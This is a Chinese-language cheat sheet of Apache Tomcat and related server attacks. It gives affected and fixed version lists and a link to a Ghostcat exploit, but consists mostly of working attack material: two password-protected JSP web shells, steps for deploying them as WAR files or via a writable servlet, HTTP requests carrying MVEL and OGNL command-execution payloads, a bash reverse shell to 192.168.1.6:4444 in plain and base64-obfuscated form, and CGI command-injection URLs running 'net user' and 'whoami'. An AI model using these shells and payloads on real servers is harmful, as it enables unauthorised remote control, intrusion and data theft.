Tomcat常见的漏洞总结

Tomcat是Apache 软件基金会（Apache Software Foundation）的Jakarta 项目中的一个核心项目，由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持，最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现，Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 规范。因为Tomcat 技术先进、性能稳定，而且免费，因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可，成为目前比较流行的Web 应用服务器
Tomcat 服务器是一个免费的开放源代码的Web 应用服务器，属于轻量级应用服务器，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开发和调试JSP 程序的首选。
对于一个初学者来说，可以这样认为，当在一台机器上配置好Apache 服务器，可利用它响应HTML（标准通用标记语言下的一个应用）页面的访问请求。实际上Tomcat是Apache 服务器的扩展，但运行时它是独立运行的，所以当你运行tomcat 时，它实际上作为一个与Apache 独立的进程单独运行的

Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31

Apache Tomcat = 7.0.100
Apache Tomcat = 8.5.51
Apache Tomcat = 9.0.31

下载地址: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

<%
    if("023".equals(request.getParameter("pwd"))){
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");
}
%>

jar cvf  +部署的war木马 +自己bin目录下的jsp木马

<init-param> 
        <param-name>readonly</param-name> 
        <param-value>false</param-value> 
</init-param> 

jsp马:
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>

<%!public static String excuteCmd(String c) {

StringBuilder line = new StringBuilder();

try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new 
InputStreamReader(pro.getInputStream()));

String temp = null;while ((temp = buf.readLine()) != null) {

line.append(temp+"\n");}buf.close();} catch (Exception e) {

line.append(e.getMessage());}return line.toString();}%> 
<%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){

out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

POST /context.json HTTP/1.1
Host: 目标地址:8181
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 
Chrome/86.0.4240.198 Safari/537.36
Content-Length: 495

{
    "filters": [
        {
            "id": "boom",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "test": "script::Runtime r = Runtime.getRuntime(); r.exec(\"ping 
br9yb9.dnslog.cn\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "test"
}

bash -i >& /dev/tcp/192.168.1.6/4444 0>&1
编码后为
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNi80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}

POST /context.json HTTP/1.1
Host: localhost:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 
Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 483

{
    "filters": [
        {
            "id": "sample",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"bash -c 
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNi80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "sample"
}

POST /context.json HTTP/1.1
Host: localhost:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 
Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 1064

{
    "personalizations":[
    {
      "id":"gender-test",
      "strategy":"matching-first",
      "strategyOptions":{
        "fallback":"var2"
      },
      "contents":[
        {
          "filters":[
            {
              "condition":{
                "parameterValues":{
                  "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")). 
 (#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]). 
 (#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? 
 #this.name.equals(\"exec\")}.{? #this.getParameters() 
 [0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]). 
 (#execmethod.invoke(#rtobj,\"touch /tmp/ognl\"))",
                  "comparisonOperator":"equals",
                  "propertyValue":"male"
                },
                "type":"profilePropertyCondition"
              }
            }
          ]
        }
      ]
    }
    ],
    "sessionId":"sample"
}

Apache Tomcat 9.0.0.M1 ~ 9.0.17
Apache Tomcat 8.5.0 ~ 8.5.39
Apache Tomcat 7.0.0 ~ 7.0.93

<servlet>
    <servlet-name>cgi</servlet-name>
    <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
    <init-param>
      <param-name>debug</param-name>
      <param-value>0</param-value>
    </init-param>
    <init-param>
      <param-name>cgiPathPrefix</param-name>
      <param-value>WEB-INF/cgi-bin</param-value>
    </init-param>
    <init-param>
      <param-name>executable</param-name>
      <param-value></param-value>
    </init-param>
     <load-on-startup>5</load-on-startup>
</servlet> 

<!-- The mapping for the CGI Gateway servlet -->

<servlet-mapping>
    <servlet-name>cgi</servlet-name>
    <url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>

http://your-ip/cgi-bin/test.bat?&C%3A%5CWindows%5CSystem32%5Cnet%20user

http://192.168.64.137:8080/cgi-bin/test.bat?c:/windows/system32/whoami.exe

Apache Tomcat 9.0.18或更高版本
Apache Tomcat 8.5.40或更高版本
Apache Tomcat 7.0.93或更高版本